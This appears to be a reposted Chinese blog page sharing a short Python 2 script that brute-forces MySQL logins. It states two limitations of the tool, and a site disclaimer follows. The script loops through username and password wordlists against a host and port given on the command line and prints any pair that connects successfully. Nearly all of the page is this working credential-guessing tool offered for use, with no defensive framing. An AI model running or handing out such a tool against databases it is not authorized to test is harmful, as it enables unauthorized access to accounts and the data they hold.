Python mysql 爆破
短信预约 -IT技能 免费直播动态提醒
缺点:
不支持网段
单线程
# -*- coding: utf_8 -*-
# Date: 2015/5/13
# author:sanr
import MySQLdb
import os
import sys
def README():
print '+' + '-' * 50 + '+'
print '\t Python MySQL爆破'
print '\t author : sanr'
print '\t Time:2015-5-13'
print '\t mysql默认字典在程序目录mysql目录'
print '+' + '-' * 50 + '+'
if len(sys.argv) != 5:
print os.path.basename(sys.argv[0]) + " 127.0.0.1 3306 user.txt pass.txt"
sys.exit()
def mysql_brute(name,pwd):
db = None
try:
db = MySQLdb.connect(host=sys.argv[1],user=name,passwd=pwd,db='mysql',port=int(sys.argv[2]))
print '破解成功: %s %s'% (name,pwd)
except:
pass
finally :
if db:
db.close()
if __name__ == '__main__':
README()
userlist = [i.rstrip() for i in open('mysql/'+sys.argv[3])]
passlist = [j.rstrip() for j in open('mysql/'+sys.argv[4])]
for name in userlist:
for pwd in passlist:
mysql_brute(name,pwd)
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341